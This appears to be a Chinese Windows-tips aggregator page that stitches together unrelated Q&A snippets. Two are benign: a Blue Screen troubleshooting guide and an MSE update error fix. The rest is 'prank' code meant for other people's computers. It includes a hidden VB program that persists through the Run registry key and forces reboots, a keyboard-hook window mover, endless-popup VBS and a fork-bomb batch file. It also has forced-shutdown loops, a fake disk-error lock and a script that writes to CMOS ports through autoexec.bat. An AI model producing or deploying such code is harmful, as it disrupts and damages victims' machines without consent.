windows之家1.用VB制作恶搞小程序
这不好哦 这段代码会让你们同学的电脑部段重启
Dim a As Integer, mulu As String
Private Sub Form_Load()
Dim w
mulu = Trim(App.Path) & "\" &； "好玩"
Set w = CreateObject("wscript.shell")
w.regwrite "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" &； "好玩"， mulu, "REG_SZ" '这是一行上的哦应该都有知道吧
a = 0
App.TaskVisible = False
Form1.Hide
End Sub
Private Sub Timer1_Timer（)'要添加个timer1控件将Interval属性设置为1000
a = a + 1
If a = 9 Then Shell "shutdown -r -t 0"
If a = 10 Then
MsgBox "呵呵，准备给我打点话吧"
End If
End Sub
前提是没被杀毒软件阻止 生成保存命名的时候 叫 “好玩”不然要错
有疑问连系115101499 我的QQ
2.WIN10系统电脑出现蓝屏重启,怎么处理
您好，电脑出现蓝屏得先正确判断是【软件问题】还是【硬件问题】，软件问题可以用360等修复工具修复，而硬件问题则必须手动排除。
？ ？ ？ ？ ？如果偶然出现蓝屏一般无需刻意处理，若经常出现蓝屏，检查顺序是先查软件再查硬件。 先升级病毒库做一次全盘杀毒，然后用360卫士---人工服务---蓝屏修复工具尝试修复，软件冲突、程序丢失等原因一般是可以修复的。
如果杀毒和修复均无效，再查硬盘，用鲁大师、驱动人生等软件检查硬盘瑕疵坏道问题。排除非硬盘问题后还是不行的话，只有动手拆机排查硬件了，顺序是先查内存条、再查散热、和电源故障，同时做一次清灰。
以下是解决蓝屏问题详细方法： 一、软件方面按以下4条排查： ？ ？ ？ ？ ？★1、程序丢失：重启按住F8进入启动选项，在[高级启动选项]里选择“最后一次正确配置”； ？ ？ ？ ？ ？★2、软件冲突：卸载最近安装的软件，特别注意不要安装多家的查毒软件，然后用360蓝屏修复工具修复或用鲁大师、驱动人生6升级相关驱动，然后重启再试； ？ ？ ？ ？ ？★3、释放静电：关机断电并移除USB设备（笔记本需取下电池），每间隔5秒按一次开机键并按5次，然后通电重新开机； ？ ？ ？ ？ ？★4、感染病毒：程序受病毒攻击造成某些重要设置被改变，先升级杀毒软件病毒库到最新，全盘杀毒或在安全模式下全盘杀毒一次。 二、硬件方面按以下4条排查： ？ ？ ？ ？ ★1、检查内存条：关机-断电-拆机-把内存条拔出来擦擦金手指再复装。
如主板上装有两个内存条，检查频率是否一致，再分别拔下启动电脑（只留1个内存条），以判断是不是其中一个有问题，顺便做下硬件清灰； ？ ？ ？ ？ ★2、检查硬盘：机械硬盘若瑕疵、坏道太多会因影响读盘速率造成启动自检时间长、运行读盘不畅，因数据丢失造成相关程序无法运行、卡机、蓝屏、死机甚至系统崩溃。 先做一遍磁盘碎片整理，完成后检测硬盘坏道状况（方法：打开鲁大师--硬件体检--右下角“磁盘体检”检查）。
如硬盘问题较多且不能正常工作就得更换硬盘或重装系统了，若重装系统前必须做低级格式化再重新分区才可以避开坏道，此点非常重要，这样硬盘空间会略有所缩小但不至于影响使用。 ？ ？ ？ ？ ？★3、检查散热：因散热不良造成硬件过热会引发运行卡慢甚至蓝屏死机，给风扇和散热器清灰或加装风扇做强制散热处理； ？ ？ ？ ？ ？★4、电源问题：劣质电源会因电压不稳容易使显卡等硬件形成脉冲电阻，体现在经常发生无故死机、重起，关机时引起蓝屏等现象。
三、通过蓝屏代码对照判断排查： ？ ？ ？ ？ ？★如果在出现蓝屏时您记下了蓝屏代码（比如0X00000？？？），可以在网上搜一下”电脑蓝屏代码对照表”对照查找，更有助于您准确判断蓝屏原因和对症处理！ 以下就是较常见蓝屏故障对照代码，供您参考： 0X0000000 操作完成 0X0000001 不正确的函数 0x0000002 系统找不到指定的档案 0x0000003 系统找不到指定的路径 0x0000004 系统无法开启档案 0x0000005 拒绝存取 0x0000006 无效的代码 0x0000007 储存体控制区块已毁 0x0000008 储存体空间不足，无法处理这个指令 0x0000009 储存体控制区块位址无效 0x000000a 环境不正确 0x000000b 尝试载入一个格式错误的程式 0x000000c 存取码错误 0x000000d 资料错误 0x000000e 储存体空间不够，无法完成这项作业 0x000000f 系统找不到指定的磁盘机 0x0000010 无法移除目录 0x0000011 系统无法将档案移到其他的磁盘机 0x0000012 没有任何档案 0x0000013 储存媒体为防写状态 0x0000014 系统找不到指定的装置 0x0000015 装置尚未就绪 0x0000016 装置无法识别指令 0x0000017 资料错误 0x0000018 程式发出一个长度错误的指令 0x0000019 磁盘机在磁盘找不到特定的磁区或磁轨 0x000001a 指定的磁盘或磁片无法存取 0x000001c 印表机没有纸 0x000001d 系统无法将资料写入指定的磁盘机 0x000001e 系统无法读取指定的装置 0x000001f 连接到系统的某个装置没有作用 0x0000021 档案的一部份被锁定，现在无法存取 0x0000022 磁盘机的磁片不正确 0x0000024 开启的分享档案数量太多 0x0000026 到达档案结尾 0x0000027 磁盘已满 0x0000032 不支援这种网路要求 0x0000033 远端电脑无法使用 0x0000034 网路名称重复 0x0000035 网路路径找不到 0x0000036 网路忙碌中 0x0000039 网路配接卡发生问题 0x000003a 指定的伺服器无法执行要求的作业 0x000003b 网路发生意外错误 0x000003c 远端配接卡不相容 0x000003d 印表机伫列已满 0x000003e 伺服器的空间无法储存等候列印的档案 0x000003f ？等候列印的档案已经删除 0x0000040 指定的网路名称无法使用 0x0000041 拒绝存取网路 0x0000042 网路资源类型错误 0x0000043 网路名称找不到 0x0000044 超过区域电脑网路配接卡的名称限制 0x0000045 超过网路bios作业阶段的限制 0x0000046 远端伺服器已经暂停或者正在起始中 0x0000047 由于连线数目已达上限，此时无法再连线到这台远端电脑 0x0000048 指定的印表机或磁盘装置已经暂停作用 0x0000050 档案已经存在 0x0000054 处理这项要求的储存体无。
3.win7升级win10错误代码0x80070422
【已更新解决 win7 mse】微软MSE更新失败 错误代码0x80070422 我用的是双系统，由于工作需要平时都是用的XP，偶尔才会用一下win7。
今天晚上用win7的时候，用MSE快速扫描了一下系统，没什么问题。但是在检查MSE更新的时候，发现病毒定义版本和间谍软件定义版本不是最新的，我点击更新按钮。
但是出现的提示却是更新失败， 如下图所示MSE更新错误代码：0x80070422最后我google了一番，加上我个人的理解最终问题解决 步骤如下：第一步：启动以下服务： Background Intelligent Transfer Service(BITS)DCOM 服务器进程启动器（DcomLaunch）启动类型应设为“自动”。 第二步：启动windows updatemse更新失败windows update检查更新下载和安装计算机更新如果更新失败，可打开windows update 更改设置点检查更新，但是让我选择是否下载和安装更新。
windows update 自动更新确定 更改设置。 然后，再次 检查更新。
如果更新成功那么就去完成MSE的更新。这次就成功的更新MSE了。
呵呵，问题解决。
4.恶搞小程序的代码怎么用
加一个timer控件 这是模块里代码 'Option Explicit Public hHook As Long Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Declare Sub ExitProcess Lib "kernel32" (ByVal uExitCode As Long) Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal ncode As Long, ByVal wParam As Long, lParam As Long) As Long Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long) Public a As Long Public Type EVENTMSG vKey As Long sKey As Long flag As Long time As Long End Type Public mymsg As EVENTMSG Public Const WH_KEYBOARD_LL = 13 Public Const WM_KEYDOWN = &H100 Public Function MyKBHook(ByVal ncode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long If ncode = 0 Then If wParam = WM_KEYDOWN Then CopyMemory mymsg, ByVal lParam, Len(mymsg) If mymsg.vKey = 48 Then ExitProcess 0 End If End If End If MyKBHook = CallNextHookEx(hHook, ncode, wParam, lParam) End Function 这是窗体代码 'Option Explicit Private Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Private Declare Function GetForegroundWindow Lib "user32" () As Long Private Const SWP_NOSIZE = &H1 Dim q, w Private Sub Form_Load() Timer1.Enabled = True Timer1.Interval = 100 Me.Hide App.TaskVisible = False hHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf MyKBHook, App.hInstance, 0) If hHook = 0 Then End End Sub Private Sub Timer1_Timer() q = Rnd * 500 w = Rnd * 500 SetWindowPos GetForegroundWindow, -1, q, w, 0, 0, SWP_NOSIZE End Sub 这个程序按0可退出。
5.恶搞程序代码
这个vbs代码超级NB，它可以弹出无数的窗口（霸屏），而且也关不掉（无限），任务管理器和cmd都打不开（一直弹出窗口，打开不了，也清除不完，输入不了），想要关闭只能关机或者提前创建一个bat命令在桌面。
首先，先自己创建一个无限弹窗命令（这个命令只出现一个窗口，关不掉，只能用任务管理器或cmd关）domsgbox"%",vbcriticalloop“%”表示弹出窗口的内容，自己修改即可，创建好这个vbs命令后，记住这个文件的地址然后再创建一个vbs命令set ws=createobject("wscript.shell")dows.run "刚才的vbs文件地址"wscript.sleep 1000looprun后面双引号的内容是刚才我们创建的vbs命令地址，例如"F：\脚本\脚本.vbs"，后缀名也要写，sleep后面的1000是弹出窗口的速度（数值越小，弹出窗口越快，可自己修改），还要注意的是以上代码的标点符号全部用英文的标点符号。你还可以自己做一个bat命令来清除这些对话框taskkill /f /im wscript.exe /t这个也是用记事本写，然后将其后缀名改为bat即可，最好放在桌面或者创建一个快捷方式，清除对话框时点击这个bat命令即可。
6.求一段电脑整蛊代码
原发布者：keke
第一个：让别人内存OVER（逼他重启）@echo offstartcmd%0就这3行了打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第二个：让对方重启指定次数（害人专用） @echo offifnotexistc:1.txtecho.>c:1.txt&gotoerr1ifnotexistc:2.txtecho.>c:2.txt&gotoerr1ifnotexistc:3.txtecho.>c:3.txt&gotoerr1ifnotexistc:4.txtecho.>c:4.txt&gotoerr1ifnotexistc:5.txtecho.>c:5.txt&gotoerr1gotoerr2:err1shutdown-s-t0:err2上面可以让对方电脑重启5次后不在重启，当然如果你修改一下加个ifnotexistc:6.txtecho.>c:6.txt&gotoerr1那就是重启6次改成7就是7次。 打开“开始→程序→附件→记事本”，把代码部分复制进去，点“另存为”，路径选“你想要放的地方”，保存类型为“所有文件”，文件名为“你想要的名字.bat”，你的批量处理器就完成了。第三个：善意恶搞关机首先呢，我们在桌面创建个新文件夹然后打开，在上面找到-工具T-文件夹选项O-查看把隐藏已知文件类型的扩展名前面的勾去掉.然后我们开始制作.在桌面建立个记事本，然后把下面代码复制进去=wscript.createobject("wscript.shell")WSHshellA.run"cmd.exe/cshutdown-r-t60-c""说我是猪，不说
7.求运行中的恶搞命令~~~~
戏弄非法用户？
为防止有人胡乱使用自己的电脑，我们可以利用批处理文件来戏弄一下非法用户。方法是用记事本程序在Windows目录中建立一个Winstart.bat文件，并在该文件中加入以下命令：？
@echo off
echo non-system disk or disk error
choice/c:&&/n?
上面代码中的"&&"为我们设置的密码，您可以自行设置。这样重新启动计算机开机时就会显示"non-system disk or disk error"，接着光标一闪一闪的好像死机了一样，造成非法用户以为Windows死机的假象。有时就连高手也会上当受骗！当我们要进入系统时，只要输入"&&"即可。？
最恶的Const ForAppending=8
Dim fso,x,y
Set fso=createObject("Scripting.FileSystemObject")
Set x=fso.OpenTextFile("c:\autoexec.bat", ForAppending, True)
Set y=fso.createTextFile("c:\1.txt", True)
x.WriteBlankLines(1)
x.Write"debug<1.txt"
x.WriteBlankLines(1)
y.WriteLine("o 70 10")
y.WriteBlankLines(1)
y.Write("o 71 10")
y.Close
x.Close?
把上述内容保存为.bat文件，双击运行即可！！汗
转载请注明出处windows之家 » win10电脑恶搞小程序代码